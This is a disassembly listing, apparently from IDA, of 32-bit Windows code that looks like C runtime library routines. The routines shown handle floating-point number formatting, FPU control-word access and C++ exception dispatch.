loc_419D44:				; CODE XREF: sub_419CEE+41j
					; sub_419CEE+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_419CEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419D48(double, int)

sub_419D48	proc near		; CODE XREF: sub_41999C+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	ds:dbl_4217B0
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_419D68
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_419DFE
; ---------------------------------------------------------------------------


loc_419D68:				; CODE XREF: sub_419D48+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_419DD7
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_419D80
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_419DD7


loc_419D80:				; CODE XREF: sub_419D48+31j
		fld	[ebp+arg_0]
		fcomp	ds:dbl_4217B0
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_419D98
		push	1
		pop	eax
		jmp	short loc_419D9A
; ---------------------------------------------------------------------------


loc_419D98:				; CODE XREF: sub_419D48+49j
		xor	eax, eax


loc_419D9A:				; CODE XREF: sub_419D48+4Ej
					; sub_419D48+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_419DB3
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_419DAD
		or	dword ptr [ebp+arg_0+4], 1


loc_419DAD:				; CODE XREF: sub_419D48+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_419D9A
; ---------------------------------------------------------------------------


loc_419DB3:				; CODE XREF: sub_419D48+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_419DC1
		or	byte ptr [ebp+arg_0+7],	80h


loc_419DC1:				; CODE XREF: sub_419D48+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_419CC5
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_419DFE
; ---------------------------------------------------------------------------


loc_419DD7:				; CODE XREF: sub_419D48+28j
					; sub_419D48+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_419CC5
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_419DFE:				; CODE XREF: sub_419D48+1Bj
					; sub_419D48+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_419D48	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E09	proc near		; CODE XREF: sub_4196E9+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_419E09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E17	proc near		; CODE XREF: sub_4196E9+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_419E17	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E26	proc near		; CODE XREF: sub_415E6C+13p
					; sub_415E6C+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_419E26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E49	proc near		; CODE XREF: sub_41999C+1Dp
					; sub_41999C+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_419E60
		fld	ds:tbyte_438080
		fistp	[ebp+arg_0]
		wait


loc_419E60:				; CODE XREF: sub_419E49+Bj
		test	cl, 8
		jz	short loc_419E75
		fstsw	ax
		fld	ds:tbyte_438080
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_419E75:				; CODE XREF: sub_419E49+1Aj
		test	cl, 10h
		jz	short loc_419E84
		fld	ds:tbyte_43808C
		fstp	[ebp+var_8]
		wait


loc_419E84:				; CODE XREF: sub_419E49+2Fj
		test	cl, 4
		jz	short loc_419E92
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_419E92:				; CODE XREF: sub_419E49+3Ej
		test	cl, 20h
		jz	short locret_419E9D
		fldpi
		fstp	[ebp+var_8]
		wait

locret_419E9D:				; CODE XREF: sub_419E49+4Cj
		leave
		retn
sub_419E49	endp


; =============== S U B	R O U T	I N E =======================================



sub_419E9F	proc near		; CODE XREF: sub_415F3B+Fp
		push	30000h
		push	10000h
		call	sub_41D84B
		pop	ecx
		pop	ecx
		retn
sub_419E9F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419EB1	proc near		; CODE XREF: sub_419EEF:loc_419F13j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	ds:dbl_4217C0
		fstp	[ebp+var_8]
		fld	ds:dbl_4217B8
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	ds:dbl_421670
		fnstsw	ax
		sahf
		jbe	short loc_419EEB
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_419EEB:				; CODE XREF: sub_419EB1+33j
		xor	eax, eax
		leave
		retn
sub_419EB1	endp


; =============== S U B	R O U T	I N E =======================================



sub_419EEF	proc near		; CODE XREF: sub_415F3B+5p
		push	offset aKernel32 ; "KERNEL32"
		call	near ptr 0A80000h
		fld	dword ptr [ebp+681574C0h]
		enter	4217h, 0
		push	eax
		call	ds:dword_4210C4
		test	eax, eax
		jz	short loc_419F13
		push	0
		call	eax ; sub_415F3B
		retn
; ---------------------------------------------------------------------------


loc_419F13:				; CODE XREF: sub_419EEF+1Dj
		jmp	sub_419EB1
sub_419EEF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_419F18	proc near		; DATA XREF: sub_415F53+1Eo

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_417193
		cmp	eax, 65h
		pop	ecx
		jz	short loc_419F58


loc_419F2C:				; CODE XREF: sub_419F18+3Ej
		inc	esi
		cmp	ds:dword_437F6C, 1
		jle	short loc_419F45
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_419F54
; ---------------------------------------------------------------------------


loc_419F45:				; CODE XREF: sub_419F18+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, ds:off_437D60
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_419F54:				; CODE XREF: sub_419F18+2Bj
		test	eax, eax
		jnz	short loc_419F2C


loc_419F58:				; CODE XREF: sub_419F18+12j
		mov	cl, ds:byte_437F70
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_419F63:				; CODE XREF: sub_419F18+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_419F63
		pop	esi
		retn
sub_419F18	endp

; ---------------------------------------------------------------------------


loc_419F72:				; DATA XREF: sub_415F53+5o
		mov	eax, [esp+4]
		mov	dl, ds:byte_437F70
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_419F8E


loc_419F82:				; CODE XREF: seg000:00419F8Cj
		cmp	cl, dl
		jz	short loc_419F8E
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_419F82


loc_419F8E:				; CODE XREF: seg000:00419F80j
					; seg000:00419F84j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_419FBF


loc_419F95:				; CODE XREF: seg000:00419FA6j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_419FA8
		cmp	cl, 65h
		jz	short loc_419FA8
		cmp	cl, 45h
		jz	short loc_419FA8
		inc	eax
		jmp	short loc_419F95
; ---------------------------------------------------------------------------


loc_419FA8:				; CODE XREF: seg000:00419F99j
					; seg000:00419F9Ej ...
		mov	ecx, eax


loc_419FAA:				; CODE XREF: seg000:00419FAEj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_419FAA
		cmp	[eax], dl
		jnz	short loc_419FB5
		dec	eax


loc_419FB5:				; CODE XREF: seg000:00419FB2j
					; seg000:00419FBDj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_419FB5

locret_419FBF:				; CODE XREF: seg000:00419F93j
		retn
; ---------------------------------------------------------------------------


loc_419FC0:				; DATA XREF: sub_415F53+28o
		mov	eax, [esp+4]
		fld	qword ptr [eax]
		fcomp	ds:dbl_4217B0
		fnstsw	ax
		sahf
		jb	short loc_419FD5
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_419FD5:				; CODE XREF: seg000:00419FCFj
		xor	eax, eax
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419FD8	proc near		; DATA XREF: sub_415F53+14o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_41A001
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41DD0E
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41A001:				; CODE XREF: sub_419FD8+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41DD3B
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_419FD8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A016	proc near		; CODE XREF: sub_41A293+17p
					; sub_41A2DD+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	ds:byte_4694F0,	0
		push	ebx
		push	esi
		jz	short loc_41A04B
		mov	ebx, [ebp+arg_8]
		mov	eax, ds:dword_4694EC
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_41A32E
		pop	ecx
		pop	ecx
		jmp	short loc_41A083
; ---------------------------------------------------------------------------


loc_41A04B:				; CODE XREF: sub_41A016+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_41DDDF
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_41DD68
		add	esp, 14h


loc_41A083:				; CODE XREF: sub_41A016+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_41A08F
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_41A08F:				; CODE XREF: sub_41A016+73j
		test	ebx, ebx
		jle	short loc_41A0A7
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, ds:byte_437F70
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_41A0A7:				; CODE XREF: sub_41A016+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	ds:byte_4694F0,	cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_415C00
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_41A0CE
		mov	byte ptr [ecx],	45h


loc_41A0CE:				; CODE XREF: sub_41A016+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_41A113
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_41A0E2
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_41A0E2:				; CODE XREF: sub_41A016+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_41A0F9
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_41A0F9:				; CODE XREF: sub_41A016+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_41A110
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_41A110:				; CODE XREF: sub_41A016+E7j
		add	[ecx+1], bl


loc_41A113:				; CODE XREF: sub_41A016+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41A016	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A11A	proc near		; CODE XREF: sub_41A2BA+13p
					; sub_41A2DD+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	ds:byte_4694F0,	0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_41A155
		mov	eax, ds:dword_4694F4
		mov	ebx, [esp+10h+arg_8]
		mov	esi, ds:dword_4694EC
		cmp	eax, ebx
		jnz	short loc_41A185
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_41A185
; ---------------------------------------------------------------------------


loc_41A155:				; CODE XREF: sub_41A11A+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_41DDDF
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_41DD68
		add	esp, 14h


loc_41A185:				; CODE XREF: sub_41A11A+22j
					; sub_41A11A+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_41A193
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_41A193:				; CODE XREF: sub_41A11A+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_41A1AA
		push	1
		push	edi
		call	sub_41A32E
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_41A1AC
; ---------------------------------------------------------------------------


loc_41A1AA:				; CODE XREF: sub_41A11A+7Ej
		add	edi, eax


loc_41A1AC:				; CODE XREF: sub_41A11A+8Ej
		test	ebx, ebx
		jle	short loc_41A1F1
		push	1
		push	edi
		call	sub_41A32E
		mov	al, ds:byte_437F70
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_41A1F1
		cmp	ds:byte_4694F0,	0
		jz	short loc_41A1D6
		neg	esi
		jmp	short loc_41A1DC
; ---------------------------------------------------------------------------


loc_41A1D6:				; CODE XREF: sub_41A11A+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_41A1DE


loc_41A1DC:				; CODE XREF: sub_41A11A+BAj
		mov	ebx, esi


loc_41A1DE:				; CODE XREF: sub_41A11A+C0j
		push	ebx
		push	edi
		call	sub_41A32E
		push	ebx
		push	30h
		push	edi
		call	sub_415570
		add	esp, 14h


loc_41A1F1:				; CODE XREF: sub_41A11A+94j
					; sub_41A11A+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41A11A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A1F8	proc near		; CODE XREF: sub_41A2DD+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_41DDDF
		mov	ds:dword_4694EC, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	ds:dword_4694F4, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_41DD68
		mov	eax, ds:dword_4694EC
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	ds:dword_4694F4, ecx
		setl	cl
		mov	ds:byte_4694F8,	cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	ds:dword_4694F4, eax
		jl	short loc_41A27E
		cmp	eax, ebx
		jge	short loc_41A27E
		test	cl, cl
		jz	short loc_41A26F


loc_41A265:				; CODE XREF: sub_41A1F8+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_41A265
		and	[esi-2], al


loc_41A26F:				; CODE XREF: sub_41A1F8+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_41A2BA
		add	esp, 0Ch
		jmp	short loc_41A28E
; ---------------------------------------------------------------------------


loc_41A27E:				; CODE XREF: sub_41A1F8+63j
					; sub_41A1F8+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_41A293
		add	esp, 10h


loc_41A28E:				; CODE XREF: sub_41A1F8+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41A1F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A293	proc near		; CODE XREF: sub_41A1F8+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	ds:byte_4694F0,	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41A016
		and	ds:byte_4694F0,	0
		add	esp, 10h
		retn
sub_41A293	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A2BA	proc near		; CODE XREF: sub_41A1F8+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	ds:byte_4694F0,	1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41A11A
		and	ds:byte_4694F0,	0
		add	esp, 0Ch
		retn
sub_41A2BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A2DD	proc near		; DATA XREF: sub_415F53o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_41A318
		cmp	[ebp+arg_8], 45h
		jz	short loc_41A318
		cmp	[ebp+arg_8], 66h
		jnz	short loc_41A305
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41A11A
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41A305:				; CODE XREF: sub_41A2DD+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41A1F8
		jmp	short loc_41A329
; ---------------------------------------------------------------------------


loc_41A318:				; CODE XREF: sub_41A2DD+7j
					; sub_41A2DD+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41A016


loc_41A329:				; CODE XREF: sub_41A2DD+39j
		add	esp, 10h
		pop	ebp
		retn
sub_41A2DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A32E	proc near		; CODE XREF: sub_41A016+2Cp
					; sub_41A11A+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_41A351
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_415CF0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_416490
		add	esp, 10h
		pop	esi


loc_41A351:				; CODE XREF: sub_41A32E+7j
		pop	edi
		retn
sub_41A32E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A353	proc near		; CODE XREF: seg000:00416134p
					; sub_41619D+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_41A369
		call	sub_41ABF2


loc_41A369:				; CODE XREF: sub_41A353+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_41A391
		cmp	dword ptr [esi+4], 0
		jz	short loc_41A3E7
		cmp	[ebp+arg_14], 0
		jnz	short loc_41A3E7
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_41A69A
		add	esp, 10h
		jmp	short loc_41A3E7
; ---------------------------------------------------------------------------


loc_41A391:				; CODE XREF: sub_41A353+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_41A3E7
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41A3CB
		cmp	[eax+14h], edi
		jbe	short loc_41A3CB
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_41A3CB
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_41A3EA
; ---------------------------------------------------------------------------


loc_41A3CB:				; CODE XREF: sub_41A353+4Aj
					; sub_41A353+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_41A3EE
		add	esp, 20h


loc_41A3E7:				; CODE XREF: sub_41A353+23j
					; sub_41A353+29j ...
		push	1
		pop	eax


loc_41A3EA:				; CODE XREF: sub_41A353+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41A353	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A3EE	proc near		; CODE XREF: sub_41A353+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_41A40E
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_41A413


loc_41A40E:				; CODE XREF: sub_41A3EE+16j
		call	sub_41ABF2


loc_41A413:				; CODE XREF: sub_41A3EE+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_41A56A
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_41A487
		cmp	[esi+14h], edi
		jnz	short loc_41A487
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_41A487
		mov	esi, ds:dword_4694FC
		test	esi, esi
		jz	loc_41A565
		mov	eax, ds:dword_469500
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_41DF66
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41A469
		call	sub_41ABF2


loc_41A469:				; CODE XREF: sub_41A3EE+74j
		cmp	[esi], ebx
		jnz	loc_41A56A
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_41A487
		cmp	[esi+14h], edi
		jnz	short loc_41A487
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_41A487
		call	sub_41ABF2


loc_41A487:				; CODE XREF: sub_41A3EE+41j
					; sub_41A3EE+46j ...
		cmp	[esi], ebx
		jnz	loc_41A56A
		cmp	dword ptr [esi+10h], 3
		jnz	loc_41A56A
		cmp	[esi+14h], edi
		jnz	loc_41A56A
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_4162EB
		add	esp, 14h
		mov	ebx, eax


loc_41A4BE:				; CODE XREF: sub_41A3EE+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_41A555
		cmp	[ebx], edi
		jg	short loc_41A54A
		cmp	edi, [ebx+4]
		jg	short loc_41A54A
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_41A547


loc_41A4E3:				; CODE XREF: sub_41A3EE+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_41A514


loc_41A4F5:				; CODE XREF: sub_41A3EE+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_41A63D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41A523
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_41A4F5


loc_41A514:				; CODE XREF: sub_41A3EE+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_41A4E3
		jmp	short loc_41A547
; ---------------------------------------------------------------------------


loc_41A523:				; CODE XREF: sub_41A3EE+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_41A74E
		add	esp, 2Ch


loc_41A547:				; CODE XREF: sub_41A3EE+F3j
					; sub_41A3EE+133j
		mov	edi, [ebp+var_10]


loc_41A54A:				; CODE XREF: sub_41A3EE+DEj
					; sub_41A3EE+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_41A4BE
; ---------------------------------------------------------------------------


loc_41A555:				; CODE XREF: sub_41A3EE+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_41A565
		push	1
		push	esi
		call	sub_41AAC3
		pop	ecx
		pop	ecx


loc_41A565:				; CODE XREF: sub_41A3EE+56j
					; sub_41A3EE+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
